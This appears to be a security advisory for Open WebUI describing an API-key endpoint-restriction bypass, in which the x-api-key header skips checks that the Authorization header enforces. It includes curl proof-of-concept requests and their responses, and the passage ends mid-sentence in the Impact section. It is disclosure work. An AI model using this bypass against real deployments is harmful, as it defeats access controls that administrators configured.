Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints

Summary

Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.

Details

Open WebUI's Anthropic-compatible API path accepts authentication via x-api-key header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the Authorization header. When the same sk-... key is supplied in x-api-key, the restriction check is skipped but the key is still valid for authentication.

This means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using x-api-key instead of Authorization.

PoC

Verified against Open WebUI v0.8.11.

Setup: Admin creates a user with an API key that has endpoint restrictions (not allowed on /api/v1/messages). A mock OpenAI-compatible model (mock-model) is configured.

API_KEY="sk-dc56016d720e49ba9e95584d602b79bb"

# Test 1: Authorization header — BLOCKED (endpoint restriction enforced)
curl -s -X POST http://target:8080/api/v1/messages \
  -H "Authorization: Bearer $API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'

# Test 2: x-api-key header — BYPASS (same key, restriction skipped)
curl -s -X POST http://target:8080/api/v1/messages \
  -H "x-api-key: $API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'

Verified output:

# Authorization header:
{"detail":"API key not allowed to access this endpoint."}

# x-api-key header (SAME key):
{"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"input_tokens":1,"output_tokens":1}}

The same API key is rejected via Authorization (403) but fully processed via x-api-key (200 with model response).

Impact

Any API key with endpoint restrictions can bypass those restrictions by using the x-api-key header instead of Authorization. This undermines the entire API key permission model: